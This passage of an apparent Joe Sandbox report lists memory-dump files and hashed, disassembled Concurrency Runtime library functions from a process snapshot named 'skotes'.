Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: a4aab096d1a65e62ab1bc83d87544239c1d5925c9d3056499a02c6de8de06a93
Instruction ID: 1dd0903c39dcc2dbdccf0827fa535c7666822419c5e3f899cbb1d7d06dcc9343
Opcode Fuzzy Hash: a4aab096d1a65e62ab1bc83d87544239c1d5925c9d3056499a02c6de8de06a93
Instruction Fuzzy Hash: DD2197769042099FCB04EF64DA86EEDBBF4AF05710B20506DF102BB252DB326D02CB51

Function 00ECA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 00ECA069

Part of subcall function 00ECB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 00ECB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 00ECA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 00ECA0CB

Part of subcall function 00ECAB41: List.LIBCONCRT ref: 00ECAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 00ECA0DB

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: ca2ca65c22d904af45d5d43510dcdec0d4e847e7bc0890154ec45d6f4a1585bd
Instruction ID: f136a4ccb9b97338fdcd0facbbfa867ceca4ad22852a0462d9af257c25704cce
Opcode Fuzzy Hash: ca2ca65c22d904af45d5d43510dcdec0d4e847e7bc0890154ec45d6f4a1585bd
Instruction Fuzzy Hash: 8421AC31900B189FCB24EF65CA91DABF3F9FF48704704596EE442A7651DB31B906CBA2

Function 00EC4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00EC4893
ListArray.LIBCONCRT ref: 00EC48A5

Part of subcall function 00EC5555: _InternalDeleteHelper.LIBCONCRT ref: 00EC5564

ListArray.LIBCONCRT ref: 00EC48AF
_InternalDeleteHelper.LIBCONCRT ref: 00EC48C8

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 998b28158946ac62dcd3f049747db522e580d85e3da57f8b8259ccd0249a8bf6
Instruction ID: 85896ac626fa83c42a42fc8e324df8a6953cafc68028b828a5484acd218bf783
Opcode Fuzzy Hash: 998b28158946ac62dcd3f049747db522e580d85e3da57f8b8259ccd0249a8bf6
Instruction Fuzzy Hash: C2012B732005116FCA25BB94CDC2F6EB7AABF44710700202DF40477556DB11FC529790

Function 00ECEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00ECEE6A
ListArray.LIBCONCRT ref: 00ECEE7C

Part of subcall function 00ECEF29: _InternalDeleteHelper.LIBCONCRT ref: 00ECEF3B

ListArray.LIBCONCRT ref: 00ECEE86
_InternalDeleteHelper.LIBCONCRT ref: 00ECEE9F

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: f62cb77df5e98a18e69efbc59f75b1f7e148e78a8a5bf8cc772b949375707f3a
Instruction ID: e5d8e2e14a792df131a4eb7d7fd58df057541325596368d9a1e3be7abb668aed
Opcode Fuzzy Hash: f62cb77df5e98a18e69efbc59f75b1f7e148e78a8a5bf8cc772b949375707f3a
Instruction Fuzzy Hash: 1601DB31300521AFCA25BB61DEC2FAEBBA9BF45750704302DF40477711CB11FC529690

Function 00ECD0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00ECD0C5
ListArray.LIBCONCRT ref: 00ECD0D7

Part of subcall function 00ECC6B2: _InternalDeleteHelper.LIBCONCRT ref: 00ECC6C4

ListArray.LIBCONCRT ref: 00ECD0E1
_InternalDeleteHelper.LIBCONCRT ref: 00ECD0FA

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
